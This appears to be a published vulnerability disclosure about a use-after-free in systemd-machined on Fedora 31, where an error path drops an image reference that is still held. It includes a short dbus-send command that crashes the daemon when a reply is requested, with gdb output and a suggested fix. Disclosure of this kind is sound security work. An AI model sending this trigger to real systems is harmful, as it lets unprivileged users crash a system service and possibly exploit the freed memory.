systemd-machined Incorrect Reference Decrement

`systemd: systemd-machined decrements reference count when references still held  
  
I've been looking at the version of systemd shipped in Fedora 31 (approximately ef677436aa203c24816021dd698b57f219f0ff64)  
  
I noticed that systemd-machined caches image objects, and uses reference counting to keep track of them. It removes a reference on error, but it still has a reference in the slot, and you can make it require it by requesting a reply.  
  
For example, a remote non-admin can do this, and it is handled correctly (i.e. correctly denied):  
  
$ dbus-send --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false  
  
But if we request a reply:  
  
$ dbus-send --print-reply --system --dest=org.freedesktop.machine1 /org/freedesktop/machine1/image/_2ehost org.freedesktop.machine1.Image.Clone string:invalid boolean:false  
  
Program received signal SIGSEGV, Segmentation fault.  
0x0000556c14d58a69 in bus_image_method_clone (message=0x556c152db930, userdata=0x556c152dbcc0, error=0x7ffd8471c9b0) at ../src/machine/image-dbus.c:144  
(gdb) p *image  
$2 = {n_ref = 16843372, type = 16, name = 0x360000062b <error: Cannot access memory at address 0x360000062b>,  
etc }  
  
image has already hit zero references, and was released. Maybe this affects other objects as well.  
  
I suppose the fix is to check the header for NO_REPLY_EXPECTED, and give it a second reference if not set, but the logic is complicated and maybe you prefer another way.  
  
(To be clear, this is enabled by default on FC31 and accessible to remote, untrusted users)  
  
Tavis.  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
  
Found by: [email protected]  
  
`